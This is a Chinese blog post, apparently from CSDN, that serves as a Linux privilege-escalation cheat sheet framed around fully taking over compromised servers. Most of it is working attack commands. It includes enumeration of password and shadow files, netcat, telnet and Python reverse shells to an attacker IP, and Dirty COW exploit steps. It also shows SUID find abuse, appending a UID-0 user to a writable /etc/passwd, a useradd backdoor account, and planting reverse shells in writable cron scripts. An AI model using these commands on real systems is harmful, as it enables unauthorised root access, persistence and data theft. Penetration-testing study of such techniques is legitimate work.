Linux权限

0x00 Linux提权大全

日站就要日个彻底。往往我们能拿下服务器的web服务,却被更新地比西方记者还快的管理员把内网渗透的种子扼杀在提权的萌芽里面。Linux系统的提权过程不止涉及到了漏洞,也涉及了很多系统配置。

Linux提权信息收集:

什么系统?什么版本?
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release # Debian based
cat /etc/redhat-release # Redhat based

什么内核?是64位吗?
cat /proc/version
uname -a
uname -mrs
rpm -q kernel dmesg | grep Linux //查看版本号
ls /boot | grep vmlinuz-

查看环境变量
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
Set

哪些服务正在运行?哪个服务具有哪个用户的权限?
ps aux
ps -ef
top
cat /etc/services

根目录正在运行哪些服务?在这些易受攻击的服务中,值得仔细检查!
ps aux | grep root
ps -ef | grep root

安装了哪些应用程序?它们是什么版本?正在运行吗?
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

任何服务设置配置错误?是否有(脆弱的)插件?
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf //debian //centos–>httpd.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.r./

开启了哪些计划任务?
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

是否有纯文本用户名/密码?
grep -i user [filename]
grep -i pass [filename]
grep -C 5 “password” [filename]
find . -name “*.php” -print0 | xargs -0 grep -i -n “var $password” # Joomla

系统具有哪些NIC(网卡)?它链接到另一个网络了吗?
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

什么是网络配置设置?可以找到哪些关于该网络的哪些信息?DHCP服务器?DNS服务器?网关?
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
Dnsdomainname

其他哪些用户和主机正在与系统通信
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
Ss
chkconfig --list
chkconfig --list | grep 3:on
last
W

缓存了什么?ip和MAC地址
arp -e
route
/sbin/route -nee

数据包嗅探是否可能?可以看到什么?实时监听

tcpdump tcp dst [ip] [端口]和tcp dst [ip] [端口]
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

有shell?可以建立交互式shell吗?
nc -lvp 4444 # Attacker. Input (Commands)
nc -lvp 4445 # Attacker. Ouput (Results)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP!

是否可以进行端口转发?
#注意:ssh-[L / R] [本地端口]:[远程IP]:[远程端口] [本地用户] @ [本地IP]
ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port
#注意 : mknod backpipe p; nc -l -p [远程端口] <backpipe | nc [本地IP] [本地端口]> backpipe
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe # Port Relaymknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)

可以挖隧道吗?在本地远程发送命令
ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig

机密信息和用户?你是谁?谁登录?还有谁?
id
who
w
last

cat /etc/passwd | cut -d: -f1    # List of usersgrep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super usersawk -F: '($3 == "0") {print}' /etc/passwd   # List of super userscat /etc/sudoers
sudo -l

可以找到哪些敏感文件?
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

home目录有什么’有趣’的地方吗?
ls -ahlR /root/
ls -ahlR /home/

里面有密码吗?脚本,数据库,配置文件,日志文件?密码的默认路径和位置
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

参考链接:https://blog.csdn.net/qq_44101248/article/details/106996687

通过一些现有的exp,上传到目标主机,执行exp,直接获取root权限
Linux->内核提权/第三方应用程序提权

github地址:
https://github.com/SecWiki/linux-kernel-exploits
https://github.com/ckt29175/linux-kernel-exploits
https://github.com/WindowsExploits/Exploits

Windows提权

systeminfo>micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i “%i”|| @echo %i you can fuck)&del /f /q /a micropoor.txt

讲Linux提权之前,我们先看看与Linux有关的一些知识:
我们常说的Linux系统,指的是Linux内核与各种常用软件的集合产品,全球大约有数百款的Linux系统版本,每个系统版本都有自己的特性和目标人群,大类有以下几种:
在这里插入图片描述

Linux内核
Linux系统内核指的是一个由 Linus Torvalds 负责维护,提供硬件抽象层、硬盘及文件系统控制及多任务功能的系统核心程序。

Linux内核版本有两种:稳定版开发版 ,Linux内核版本号由3组数字组成:第一个组数字.第二组数字.第三组数字
第一个组数字:目前发布的内核主版本。
第二个组数字:偶数表示稳定版本;奇数表示开发中版本。
第三个组数字:错误修补的次数。
如下,使用 uname -r 可以看到linux系统的发行版本号。3.10.0就是内核版本号。3就是内核主版本,10表示是稳定版,0表示错误修补次数是0。 而 123.el7.x86_64则是 redhat 的发行版本信息,123 代表编译123次,el7代表的是redhat7,x86_64则是64位系统。
在这里插入图片描述

使用以下命令也可以看到系统内核及版本的一些信息:
uname -a #查看内核的具体信息
cat /proc/version #查看内核的具体信息
cat /etc/centos-release #查看centos发行版本
cat /etc/redhat-release #查看redhat发行版本

Linux提权

当我们拿到了一台Linux服务器的低权限账号,于是,我们想要通过技术手段提权至 root 用户权限,以执行更多的操作。

Linux提权的前提:
拿到了一个低权限的账号
能上传和下载文件
机器上有python、java、perl等环境(非必须项)

内核提权
第一想到的肯定就是Linux的内核漏洞,脏牛提权:

0x01 脏牛漏洞

脏牛漏洞: 又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队在2016年10月18日已经对此进行了修复。
漏洞范围: Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)
简要分析: 该漏洞具体为,Linux内核的内存子系统在处理写入复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。

exp:
https://github.com/gbonacini/CVE-2016-5195
https://github.com/FireFart/dirtycow

复现:
大致流程:
1.下载exp到靶机,解压并进入文件夹,执行make后会生成一个dcow的可执行文件。
2.执行./dcow -s 如果成功的话会返回一个root的 shell,失败则返回fail。

假设一开始获得的是普通用户bee的权限。
在这里插入图片描述
1.使用uname -a命令查看linux内核信息,发现在脏牛漏洞范围内,可以进行测试。
在这里插入图片描述

2.将exp一下载到本地,使用gcc -pthread dirty.c -o dirty -lcrypt命令对dirty.c进行编译,生成一个dirty的可执行文件。
在这里插入图片描述

3.执行./dirty 密码命令,即可进行提权。
在这里插入图片描述

4.此时使用上图中的账号密码即可获取root权限。
在这里插入图片描述

还有就是其他的各种内核漏洞提权了。说实话,内核漏洞提权很难成功,因为内核提权对内核的版本,还有目标机器的环境要求很高(需要安装有gcc等编译环境 )。所以使用内核提权成功率很低。并且内核提权需要查看exp的源代码,不然可能连编译都不会。内核漏洞提权的步骤肯定是查看目标机器的内核版本等信息,查看命令上面有。或者执行脚本查看该内核可能存在什么漏洞。

EXP:
https://github.com/InteliSecureLabs/Linux_Exploit_Suggester
在这里插入图片描述
Windows-Exploit-Suggester
https://github.com/AonCyberLabs/Windows-Exploit-Suggester

0x02 SUID提权

SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。
已知的可用来提权的linux可行性的文件列表如下:
nmap
vim
find
bash
more
less
nano
cp
以下命令可以发现系统上运行的所有SUID可执行文件。
#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} ;
利用find文件提权
假如我们现在拿到了一个网站服务器的shell,但是权限是ubuntu,我们现在需要提权到 root 用户权限。
在这里插入图片描述

假如我们现在拿到了一个网站服务器的shell,但是权限是ubuntu,我们现在需要提权到 root 用户权限find / -perm -u=s -type f 2>/dev/null
在这里插入图片描述

我们随便找一个命令进行利用,我们就找find,先查看其信息,发现其确实是root用户权限的SUID的文件
在这里插入图片描述

我们先看一下是否能用find命令以root权限运行,发现确实可以以root权限运行
/usr/bin/find examples.desktop -exec whoami ;
在这里插入图片描述

然后我们查看目标网站上是否有python环境,可以看到有python2.7.6的环境
在这里插入图片描述

于是我们以root用户的身份利用python反弹shell,
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.10.25”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’ #反弹一个sh类型的shell
在这里插入图片描述
可以看到,在攻击端收到了反弹过来的shell,并且是root身份
在这里插入图片描述

0x03 Sudo提权

Sudo提权漏洞(CVE-2019-14287)
漏洞背景
2019年10月14日, sudo 官方在发布了 CVE-2019-14287 的漏洞预警。
sudo 是所有 unix操作系统(BSD, MacOS, GNU/Linux) 基本集成的一个用户权限控制/切换程序。允许管理员控制服务器下用户能够切换的用户权限。
CVE-2019-14287 是管理员在配置文件中用了 ALL 关键词后造成的。但默认的 sudo 配置文件不受影响。

漏洞影响版本
sudo < 1.8.28

利用条件

  1. sudo的版本号<1.8.28
  2. 知道当前用户的密码
  3. 当前用户存在于sudo权限列表
    第一点和第二点比较好容易理解,那么第三点当前用户存在于sudo权限列表这个怎么理解呢?
    当 /etc/sudoers 文件存在如下形式的配置会导致漏洞的产生
    hack ALL=(ALL, !root) ALL
    这句话的含义就是:
    允许 hack 用户以非 root 权限之外的所有用户权限运行命令,也就是说hack用户拥有root权限以外的所有权限。但是这样的配置应该会出现在比较少的特殊情况。

漏洞复现
我们在/etc/sudoers配置文件中加上这一行
hack ALL=(ALL, !root) ALL
在这里插入图片描述

Linux配置错误提权
还有就是利用Linux的配置文件错误,导致 /etc/passwd 文件可写入提权:
当我们获得了某个Linux服务器的低权限之后,我们想要对该低权限账号进行提权,以执行更多的操作。
接下来我们的提权是利用 /etc/passwd 文件的可写入权限,导致我们写入一个其他用户进去。
首先,查看 /etc/passwd 的权限,发现任何用户都可以读写。
在这里插入图片描述

有关于 /etc/passwd 文件里面数据的每个属性
我们现在要做的就是自己构造一个用户,在密码占位符处指定密码,并且UID设置为0,将其添加到 /etc/passwd 文件中。
首先,使用perl语言生成带有验证的密码:

perl -le 'print crypt("password@123","addedsalt")'

在这里插入图片描述

然后执行下面这条命令,成功将test用户的信息加入 /etc/passwd 文件

echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd

在这里插入图片描述

以用户名:test 密码: password@123 登录主机,登录成功后,是 root 权限。
在这里插入图片描述

以下这条命令直接生成一个具有root权限的用户:venus,密码为:123qwe 。前提是这条命令的执行需要root权限。

useradd -p `openssl passwd -1 -salt 'user' 123qwe` -u 0 -o -g root  -G root -s /bin/bash -d /home/user venus

0x04 定时任务提权

系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root 用户的计划任务的。但是 /etc/ 内系统的计划任务可以被列出。默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写,我们就可以修改脚本进行提权了。

ls -l /etc/cron*

使用该命令,列出的文件,查看 /etc/cron.daily 、/etc/cron.hourly、/etc/cron.monthly、/etc/cron.weekly 这四个文件夹内的文件,查看是否允许其他用户修改。如果 允许任意用户修改,那么我们就可以往这些文件里面写入反弹shell的脚本提权了。
在这里插入图片描述

0x05 密码复用提权

我们如果在主机上找到了其他应用或数据库的密码,那么很有可能root用户也用该密码。那么就可以尝试一下 su root 来提权了

0x06 第三方服务提权

我们还可以查看主机上其他的第三方服务,利用第三方服务的漏洞可以拿到主机的 root 权限。比如如果主机的mysql或tomcat是用root权限启动的,而我们又通过漏洞拿到了mysql或tomcat的权限,就相当于获得了root的权限。

参考文章:https://mp.weixin.qq.com/s/lj3NjQlOeLmoXty5bsA_SA

小知识点:
在这里插入图片描述

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值